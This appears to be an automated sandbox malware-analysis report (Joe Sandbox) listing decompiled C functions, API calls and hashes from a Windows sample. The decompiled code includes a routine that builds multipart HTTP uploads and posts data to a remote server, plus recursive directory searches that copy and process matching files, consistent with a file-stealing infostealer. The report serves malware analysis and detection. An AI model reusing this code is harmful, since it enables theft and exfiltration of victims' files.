API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: f2ac7dd32b7bcaea2242f36d7a98d77d9b9b43e0297924d86d601794ae2682f4
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 9DF06D322017116FE7203AB9A88DA6F7BE8FF89765F101528E642920C0DAB0F9458A61

Uniqueness

Uniqueness Score: -1.00%

Function 00580920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00580929

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 7ba80916a48acbfb0f046a5eb73e9b1892c8f9a247d3f52fd2d0df5884ae7060
Instruction ID: c0089d607f9342f2c15a261cd068abafb40f64debc35d3030ca853ef88393cfd
Opcode Fuzzy Hash: 7ba80916a48acbfb0f046a5eb73e9b1892c8f9a247d3f52fd2d0df5884ae7060
Instruction Fuzzy Hash: 879004F07441F051DC3035DC0C01F4500111741775F7037107130FF1D4DF4455000115

Uniqueness

Uniqueness Score: -1.00%

Function 00560465, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 005604B6

Memory Dump Source

Source File: 0000001D.00000002.379532136.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_560000_FD2B.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d228a9cddfd9111f9a44b2e45a9b5e1d1710010e70b07292a1dc2672d5dd14c0
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 20112B79A40208EFDB01DF98C985E99BFF5AF48351F058094FA489B362D771EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404BE0, Relevance: 117.6, APIs: 56, Strings: 11, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00404BE0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, intOrPtr _a16, int _a20, intOrPtr _a24) {
				void _v8;
				char _v516;
				void* _v520;
				char _v1028;
				void* _v1032;
				void _v1548;
				void* _v1552;
				long _v1556;
				long _v1560;
				char _v6564;
				void* _v6568;
				long _v6572;
				void _v6828;
				DWORD* _v6832;
				DWORD* _v6836;
				void* _v6840;
				intOrPtr _v6844;
				DWORD* _v6848;
				void _v8852;
				int _v8856;
				long _v8860;
				void* _t132;
				intOrPtr _t154;
				intOrPtr _t169;
				intOrPtr _t172;
				void* _t176;
				DWORD* _t204;
				char* _t207;
				char* _t219;
				intOrPtr _t221;
				intOrPtr _t225;
				char* _t239;
				intOrPtr _t248;
				char* _t251;
				void* _t275;
				void* _t276;

				_t211 = __ecx;
				E004139B0(0x2298, __ecx);
				E0040B6E0(_t211,  &_v6564, 0, 0x1388);
				E0040B720( &_v516, 0x1f4);
				E0040B720( &_v1548, 0x200);
				_v1552 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000);
				E0040B720( &_v1028, 0x1f4);
				_v520 = InternetOpenA(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				_t213 =  &_v8;
				InternetSetOptionA(_v520, 2,  &_v8, 4);
				_v6572 = 0x100;
				_v1556 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v1556 = 1;
				}
				_t280 = _v520;
				if(_v520 != 0) {
					_t132 = E0040B8B0(_t213, _t280, 0x10);
					_t276 = _t276 + 4;
					 *0x41aa24( &_v516, _t132);
					 *0x41aa24(_v1552, "\r\n");
					 *0x41aa24(_v1552, "------");
					 *0x41aa24(_v1552,  &_v516);
					 *0x41aa24(_v1552, "--");
					 *0x41aa24(_v1552, "\r\n");
					_t248 =  *0x41a1bc; // 0x483170
					 *0x41aa24( &_v1028, _t248);
					 *0x41aa24( &_v1028,  &_v516);
					if(_v1556 == 0) {
						_v6568 = InternetConnectA(_v520, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v6568 = InternetConnectA(_v520, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v6568 != 0) {
						if(_v1556 == 0) {
							_t251 =  *0x41a2d8; // 0x487c18
							_t219 =  *0x41a590; // 0x4871f8
							_v1032 = HttpOpenRequestA(_v6568, _t219, _a12, _t251, 0, 0, "true", 0);
						} else {
							_t239 =  *0x41a2d8; // 0x487c18
							_t207 =  *0x41a590; // 0x4871f8
							_v1032 = HttpOpenRequestA(_v6568, _t207, _a12, _t239, 0, 0, 0xc00100, 0);
						}
						if(_v1032 != 0) {
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t221 =  *0x41a2cc; // 0x486258
							 *0x41aa24( &_v1548, _t221);
							_t154 =  *0x41a058; // 0x487328
							 *0x41aa24( &_v1548, _t154);
							 *0x41aa24( &_v1548, "\"\r\n\r\n");
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\r\n");
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t225 =  *0x41a644; // 0x467040
							 *0x41aa24( &_v1548, _t225);
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\"\r\n");
							_t169 =  *0x41a038; // 0x486048
							 *0x41aa24( &_v1548, _t169);
							 *0x41aa24( &_v1548, "\r\n");
							_t172 =  *0x41a538; // 0x486318
							 *0x41aa24( &_v1548, _t172);
							 *0x41aa24( &_v1548, "\r\n\r\n");
							_t176 =  *0x41a908( &_v1548);
							_v1560 = _t176 + _a24 +  *0x41a908(_v1552);
							_v6840 = RtlAllocateHeap(GetProcessHeap(), 0, _v1560);
							memcpy(_v6840,  &_v1548,  *0x41a908( &_v1548));
							memcpy(_v6840 +  *0x41a908(_a24),  &_v1548, _a20);
							memcpy( *0x41a908( *0x41a908(_v1552)) + _a24 + _v6840,  &_v1548, _v1552);
							_v6848 = 0;
							while(_v6848 < 6) {
								HttpSendRequestA(_v1032,  &_v1028,  *0x41a908(_v1560),  &_v1028, _v6840);
								if(HttpQueryInfoA(_v1032, 0x13,  &_v6828,  &_v6572, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t204 =  &(_v6848[0]);
									__eflags = _t204;
									_v6848 = _t204;
									continue;
								} else {
									_push("200");
									_push( &_v6828);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
									}
								}
								break;
							}
							E0040B720( &_v6840, 4);
							_v6836 = 0;
							_v6832 = 0;
							_v6844 = 0x4000;
							while(1) {
								_v8856 = InternetReadFile(_v1032,  &_v8852, 0x7cf,  &_v8860);
								if(_v8856 == 0) {
									break;
								}
								_t289 = _v8860;
								if(_v8860 != 0) {
									 *((char*)(_t275 + _v8860 - 0x2290)) = 0;
									 *0x41aa24( &_v6564,  &_v8852);
									continue;
								}
								break;
							}
						}
					}
				}
				InternetCloseHandle(_v1032);
				InternetCloseHandle(_v6568);
				InternetCloseHandle(_v520);
				return E00404830(_v520, _t289,  &_v6564);
			}

0x00404be0
0x00404be8
0x00404bfc
0x00404c0d
0x00404c1e
0x00404c37
0x00404c49
0x00404c5e
0x00404c64
0x00404c6d
0x00404c7a
0x00404c80
0x00404c8a
0x00404c94
0x00404c9c
0x00404ca5
0x00404ca7
0x00404ca7
0x00404cb1
0x00404cb8
0x00404cc0
0x00404cc5
0x00404cd0
0x00404ce2
0x00404cf4
0x00404d08
0x00404d1a
0x00404d2c
0x00404d32
0x00404d40
0x00404d54
0x00404d61
0x00404da8
0x00404d63
0x00404d83
0x00404d83
0x00404db5
0x00404dc2
0x00404e00
0x00404e0b
0x00404e1f
0x00404dc4
0x00404dcf
0x00404dda
0x00404ded
0x00404ded
0x00404e2c
0x00404e3e
0x00404e52
0x00404e64
0x00404e6a
0x00404e78
0x00404e7e
0x00404e8b
0x00404e9d
0x00404eae
0x00404ec0
0x00404ed2
0x00404ee6
0x00404ef8
0x00404efe
0x00404f0c
0x00404f1d
0x00404f2f
0x00404f35
0x00404f42
0x00404f54
0x00404f5a
0x00404f67
0x00404f79
0x00404f86
0x00404fa0
0x00404fbc
0x00404fde
0x00405000
0x00405032
0x00405038
0x00405053
0x00405086
0x004050ad
0x004050c7
0x004050cc
0x0040504a
0x0040504a
0x0040504d
0x00000000
0x004050af
0x004050af
0x004050ba
0x004050c3
0x00000000
0x00000000
0x004050c5
0x004050c3
0x00000000
0x004050ad
0x004050e0
0x004050e5
0x004050ef
0x004050f9
0x00405103
0x00405123
0x00405130
0x00000000
0x00000000
0x00405132
0x00405139
0x00405143
0x00405159
0x00000000
0x00405159
0x00000000
0x00405139
0x0040513b
0x00404e2c
0x00404db5
0x00405168
0x00405175
0x00405182
0x0040519b

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388,?,?,00406843,00482148,00484C38,00486F00,?), ref: 00404C2A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C31
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404C58
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404C7A
StrCmpCA.SHLWAPI(?,https://), ref: 00404C9D
lstrcat.KERNEL32(?,00000000), ref: 00404CD0
lstrcat.KERNEL32(?,00418B9C), ref: 00404CE2
lstrcat.KERNEL32(?,------), ref: 00404CF4
lstrcat.KERNEL32(?,?), ref: 00404D08
lstrcat.KERNEL32(?,00418BA8), ref: 00404D1A
lstrcat.KERNEL32(?,00418B9C), ref: 00404D2C
lstrcat.KERNEL32(?,00483170), ref: 00404D40
lstrcat.KERNEL32(?,?), ref: 00404D54
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404D7D
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404DA2
HttpOpenRequestA.WININET(00000000,004871F8,?,00487C18,00000000,00000000,00C00100,00000000), ref: 00404DE7
HttpOpenRequestA.WININET(00000000,004871F8,?,00487C18,00000000,00000000,00400100,00000000), ref: 00404E19
lstrcat.KERNEL32(?,------), ref: 00404E3E
lstrcat.KERNEL32(?,?), ref: 00404E52
lstrcat.KERNEL32(?,00418B9C), ref: 00404E64
lstrcat.KERNEL32(?,00486258), ref: 00404E78
lstrcat.KERNEL32(?,00487328), ref: 00404E8B
lstrcat.KERNEL32(?,"), ref: 00404E9D
lstrcat.KERNEL32(?,?), ref: 00404EAE
lstrcat.KERNEL32(?,00418B9C), ref: 00404EC0
lstrcat.KERNEL32(?,------), ref: 00404ED2
lstrcat.KERNEL32(?,?), ref: 00404EE6
lstrcat.KERNEL32(?,00418B9C), ref: 00404EF8
lstrcat.KERNEL32(?,00467040), ref: 00404F0C
lstrcat.KERNEL32(?,?), ref: 00404F1D
lstrcat.KERNEL32(?,"), ref: 00404F2F
lstrcat.KERNEL32(?,00486048), ref: 00404F42
lstrcat.KERNEL32(?,00418B9C), ref: 00404F54
lstrcat.KERNEL32(?,00486318), ref: 00404F67
lstrcat.KERNEL32(?,), ref: 00404F79
lstrlen.KERNEL32(?), ref: 00404F86
lstrlen.KERNEL32(?), ref: 00404F98
GetProcessHeap.KERNEL32(00000000,?), ref: 00404FAF
RtlAllocateHeap.NTDLL(00000000), ref: 00404FB6
lstrlen.KERNEL32(?), ref: 00404FC9
memcpy.NTDLL(?,?,00000000), ref: 00404FDE
lstrlen.KERNEL32(?,?,?), ref: 00404FF3
memcpy.NTDLL(?), ref: 00405000
lstrlen.KERNEL32(?), ref: 0040500D
lstrlen.KERNEL32(?,?,00000000), ref: 00405022
memcpy.NTDLL(?), ref: 00405032
lstrlen.KERNEL32(?,?,?), ref: 00405071
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00405086
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004050A5
StrCmpCA.SHLWAPI(?,200), ref: 004050BB
Sleep.KERNEL32(00007530), ref: 004050CC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040511D
lstrcat.KERNEL32(?,00000000), ref: 00405159
InternetCloseHandle.WININET(?), ref: 00405168
InternetCloseHandle.WININET(?), ref: 00405175
InternetCloseHandle.WININET(00000000), ref: 00405182

Strings

https://, xrefs: 00404C94
XbH, xrefs: 00404E6A
, xrefs: 00404F6D
200, xrefs: 004050AF
------, xrefs: 00404CE8, 00404E32, 00404EC6
H`H, xrefs: 00404F35
@pF, xrefs: 00404EFE
", xrefs: 00404E91
", xrefs: 00404F23
p1H, xrefs: 00404D32
(sH, xrefs: 00404E7E

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $"$"$(sH$------$200$@pF$H`H$XbH$https://$p1H
API String ID: 3074752877-3251808495
Opcode ID: 2ed5f4f574250a409e7dd9ef94b069167794949187c1359c9b56e1dc88cb7995
Instruction ID: e23421f7279307ab3a44037bb1bbfee425b9f76c6f481fad167fe3b69a740ec5
Opcode Fuzzy Hash: 2ed5f4f574250a409e7dd9ef94b069167794949187c1359c9b56e1dc88cb7995
Instruction Fuzzy Hash: BDF176B5A51218AFCB20DFA0DD48FDB7779AF48704F0085D9F209A7181CB78AA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004087E0, Relevance: 42.3, APIs: 21, Strings: 3, Instructions: 337
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004087E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				void* _t121;
				signed int _t122;
				int _t124;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t273 = _t272 + 0xc;
				_t121 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t126;
					if(_t126 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t273 = _t273 + 0x10;
						_t129 =  *0x41a534; // 0x487bd0
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t129, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t200 =  *0x41a050; // 0x488900
							__eflags =  *0x41aa4c( &(_v596.cFileName), _t200);
							if(__eflags != 0) {
								_t132 =  *0x41a5ac; // 0x487b58
								__eflags =  *0x41aa4c( &(_v596.cFileName), _t132);
								if(__eflags != 0) {
									_t134 =  *0x41a360; // 0x488930
									__eflags =  *0x41aa4c( &(_v596.cFileName), _t134);
									if(__eflags != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
											_t273 = _t273 + 0x24;
										}
									} else {
										GetCurrentDirectoryA(0x104,  &_v1388);
										 *0x41aa24( &_v1388, 0x414018);
										_t146 = E0040B8B0( &(_v596.cFileName), __eflags, 8);
										_t274 = _t273 + 4;
										 *0x41aa24( &_v1388, _t146);
										CopyFileA( &_v860,  &_v1388, 1);
										__eflags = _a36;
										if(__eflags != 0) {
											E00408510(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E00408650(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										DeleteFileA( &_v1388);
										E0040B720( &_v1388, 0x104);
										E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
										_t273 = _t274 + 0x24;
									}
								} else {
									GetCurrentDirectoryA(0x104,  &_v1124);
									 *0x41aa24( &_v1124, 0x414018);
									 *0x41aa24( &_v1124, E0040B8B0( &(_v596.cFileName), __eflags, 8));
									CopyFileA( &_v860,  &_v1124, 1);
									E004082E0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00408150(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
										_t276 = _t276 + 0x18;
									}
									DeleteFileA( &_v1124);
									E0040B720( &_v1124, 0x104);
									E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
									_t273 = _t276 + 0x24;
								}
							} else {
								E00407D50(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24);
								E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407AC0(_a12, __eflags, _a4,  &_v860, _a12, _a16, _a20);
							E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
							_t273 = _t273 + 0x38;
						}
						E0040B720( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
					_t124 = FindNextFileA(_v272,  &_v596);
					__eflags = _t124;
				} while (_t124 != 0);
				return FindClose(_v272);
			}

0x004087ec
0x004087f9
0x004087ff
0x00408810
0x00408816
0x00408823
0x00000000
0x00000000
0x00000000
0x00000000
0x0040882a
0x0040882a
0x00408836
0x0040883c
0x0040883e
0x00408856
0x00000000
0x00408856
0x0040884c
0x00408852
0x00408854
0x00408872
0x00408878
0x0040887b
0x0040888e
0x00408890
0x004088e8
0x004088fc
0x004088fe
0x0040895a
0x0040896d
0x0040896f
0x00408a68
0x00408a7b
0x00408a7d
0x00408b7f
0x00408b82
0x00408bae
0x00408bb3
0x00408bb3
0x00408a83
0x00408a8f
0x00408aa1
0x00408aa9
0x00408aae
0x00408ab9
0x00408acf
0x00408ad5
0x00408ad9
0x00408af6
0x00408afb
0x00408afb
0x00408afe
0x00408b02
0x00408b1f
0x00408b24
0x00408b24
0x00408b2e
0x00408b40
0x00408b6f
0x00408b74
0x00408b74
0x00408975
0x00408981
0x00408993
0x004089ab
0x004089c1
0x004089e2
0x004089e7
0x004089ea
0x004089ee
0x00408a0b
0x00408a10
0x00408a10
0x00408a1a
0x00408a2c
0x00408a5b
0x00408a60
0x00408a60
0x00408900
0x0040891b
0x0040894d
0x00408952
0x00408952
0x00408892
0x004088a9
0x004088db
0x004088e0
0x004088e0
0x00408bc2
0x00000000
0x00408bc2
0x00000000
0x00408bc7
0x00408bd5
0x00408bdb
0x00408bdb
0x00000000

APIs

wsprintfA.USER32 ref: 004087F9
FindFirstFileA.KERNEL32(?,?), ref: 00408810
StrCmpCA.SHLWAPI(?,00414010), ref: 00408836
StrCmpCA.SHLWAPI(?,00414014), ref: 0040884C
FindNextFileA.KERNEL32(000000FF,?), ref: 00408BD5
FindClose.KERNEL32(000000FF), ref: 00408BEA

Strings

%s\%s, xrefs: 00408866
%s\*, xrefs: 004087ED
X{H, xrefs: 0040895A

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*$X{H
API String ID: 180737720-4135833927
Opcode ID: 119fd889f3ffabfe3e6c679519e299cdb89c448120f5203dcee0593060d99984
Instruction ID: 0b41a1abc190fb4bcf7a86ba3d7a33f51ad09bf1deba5e068821b47be1bcc9a2
Opcode Fuzzy Hash: 119fd889f3ffabfe3e6c679519e299cdb89c448120f5203dcee0593060d99984
Instruction Fuzzy Hash: 6FD12EB2500109ABCB14DF94DD84EEB73BDAF8C704F04869DB609A3150EA74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E40, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 215
filestringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00405E40(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, int _a24, intOrPtr _a28, int _a32, intOrPtr _a36) {
				char _v5004;
				char _v5268;
				void* _v5272;
				struct _WIN32_FIND_DATAA _v5596;
				char _v5860;
				char _v6124;
				int _v6128;
				char _v6132;
				void* _t76;
				int _t77;
				int _t79;
				int _t81;
				int _t85;
				void* _t89;
				int _t91;
				int _t102;
				int _t103;
				int _t104;
				int _t106;
				void* _t157;
				void* _t158;
				void* _t159;

				E004139B0(0x17f0, __ecx);
				wsprintfA( &_v5268, "%s\*");
				_t158 = _t157 + 0xc;
				_v5272 = FindFirstFileA( &_v5268,  &_v5596);
				E0040B720( &_v5004, 0x1388);
				_t76 =  *0x41aa24( &_v5004, _a36, _a16);
				if(_v5272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v5596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L25;
					}
					_t81 =  *0x41aa4c( &(_v5596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v6124, "%s\%s");
						_t159 = _t158 + 0x10;
						_t85 =  *0x41aa4c(_a12, 0x41401a, _a16,  &(_v5596.cFileName));
						__eflags = _t85;
						if(_t85 != 0) {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s\\%s", _a4, _a12,  &(_v5596.cFileName));
								_t158 = _t159 + 0x14;
							} else {
								_push( &(_v5596.cFileName));
								_push(_a12);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							}
						} else {
							__eflags = _a32;
							if(_a32 == 0) {
								_push( &(_v5596.cFileName));
								_push(_a4);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							} else {
								wsprintfA( &_v5860, 0x414024,  &(_v5596.cFileName));
								_t158 = _t159 + 0xc;
							}
						}
						_t89 =  *0x41a908( &_v5004);
						__eflags = _t89 - 3;
						if(_t89 <= 3) {
							_t91 = PathMatchSpecA( &(_v5596.cFileName), _a20);
							__eflags = _t91;
							if(_t91 != 0) {
								CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
								E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
								_t158 = _t158 + 0xc;
								DeleteFileA( &(_v5596.cFileName));
							}
							L23:
							__eflags = _a24;
							if(__eflags != 0) {
								E00405E40(_a4, __eflags, _a4, _a8,  &_v5860,  &_v6124, _a20, _a24, _a28, _a32, _a36);
								_t158 = _t158 + 0x24;
							}
							goto L25;
						}
						_t102 = E0040C090( &_v5004, ",",  &_v6132);
						_t158 = _t158 + 0xc;
						_v6128 = _t102;
						while(1) {
							__eflags = _v6128;
							if(_v6128 == 0) {
								break;
							}
							_t103 =  *0x41a990( &(_v5596.cFileName), _v6128, 0);
							__eflags = _t103;
							if(_t103 == 0) {
								_t106 = PathMatchSpecA( &(_v5596.cFileName), _a20);
								__eflags = _t106;
								if(_t106 != 0) {
									CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
									E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
									_t158 = _t158 + 0xc;
									DeleteFileA( &(_v5596.cFileName));
								}
							}
							_t104 = E0040C090(0, ",",  &_v6132);
							_t158 = _t158 + 0xc;
							_v6128 = _t104;
						}
						goto L23;
					}
					goto L4;
					L25:
					_t79 = FindNextFileA(_v5272,  &_v5596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v5272);
			}

0x00405e48
0x00405e5d
0x00405e63
0x00405e7a
0x00405e8c
0x00405e9c
0x00405ea9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405eb0
0x00405eb0
0x00405ebc
0x00405ec2
0x00405ec4
0x00405edc
0x00000000
0x00405edc
0x00405ed2
0x00405ed8
0x00405eda
0x00405ef8
0x00405efe
0x00405f0a
0x00405f10
0x00405f12
0x00405f5a
0x00405f5e
0x00405f9d
0x00405fa3
0x00405f60
0x00405f66
0x00405f6a
0x00405f77
0x00405f7d
0x00405f7d
0x00405f14
0x00405f14
0x00405f18
0x00405f3e
0x00405f42
0x00405f4f
0x00405f55
0x00405f1a
0x00405f2d
0x00405f33
0x00405f33
0x00405f58
0x00405fad
0x00405fb3
0x00405fb6
0x00406084
0x0040608a
0x0040608c
0x0040609e
0x004060b6
0x004060bb
0x004060c5
0x004060c5
0x004060cb
0x004060cb
0x004060cf
0x004060fb
0x00406100
0x00406100
0x00000000
0x004060cf
0x00405fcf
0x00405fd4
0x00405fd7
0x00405fdd
0x00405fdd
0x00405fe4
0x00000000
0x00000000
0x00405ffa
0x00406000
0x00406002
0x0040600f
0x00406015
0x00406017
0x00406029
0x00406041
0x00406046
0x00406050
0x00406050
0x00406017
0x00406064
0x00406069
0x0040606c
0x0040606c
0x00000000
0x00406077
0x00000000
0x00406103
0x00406111
0x00406117
0x00406117
0x00000000

APIs

wsprintfA.USER32 ref: 00405E5D
FindFirstFileA.KERNEL32(?,?,?,00000000,?), ref: 00405E74
lstrcat.KERNEL32(?,?), ref: 00405E9C
StrCmpCA.SHLWAPI(?,00414010), ref: 00405EBC
StrCmpCA.SHLWAPI(?,00414014), ref: 00405ED2
FindNextFileA.KERNEL32(000000FF,?), ref: 00406111
FindClose.KERNEL32(000000FF), ref: 00406126

Strings

%s\%s\%s, xrefs: 00405F91
%s\%s, xrefs: 00405EEC, 00405F43, 00405F6B
%s\*, xrefs: 00405E51

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-1426491737
Opcode ID: 6d6f57ed514f32c016ae1e88c24596a414d751b61b5eb3f75645837cb2bf6c04
Instruction ID: 0bc9b02d7ab3545e21e8315ee4c466327c2adae897de70d70c4ab632552244ce
Opcode Fuzzy Hash: 6d6f57ed514f32c016ae1e88c24596a414d751b61b5eb3f75645837cb2bf6c04
Instruction Fuzzy Hash: A88174B5900208EFCB14DFA4DC44DEB73B8EF48745F4486A9F60A96180D7789B94CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00588A30, Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 337fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00588A49
FindFirstFileA.KERNEL32(?,?), ref: 00588A60
StrCmpCA.SHLWAPI(?,00414010), ref: 00588A86
StrCmpCA.SHLWAPI(?,00414014), ref: 00588A9C
FindNextFileA.KERNEL32(000000FF,?), ref: 00588E25
FindClose.KERNEL32(000000FF), ref: 00588E3A

Strings

X{H, xrefs: 00588BAA, 00588BAF

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: X{H
API String ID: 180737720-690147205
Opcode ID: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction ID: d61818778fb9a25a60774b51435e9ac4145a2621eef119a75d61986c2306295e
Opcode Fuzzy Hash: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction Fuzzy Hash: AFD123B2500109ABCB14EF94DD84EEB77BDBF8C700F448659BA09A3150DB34EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409970, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409989
FindFirstFileA.KERNEL32(?,?), ref: 004099A0
StrCmpCA.SHLWAPI(?,00414010), ref: 004099C6
StrCmpCA.SHLWAPI(?,00414014), ref: 004099DC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409B20
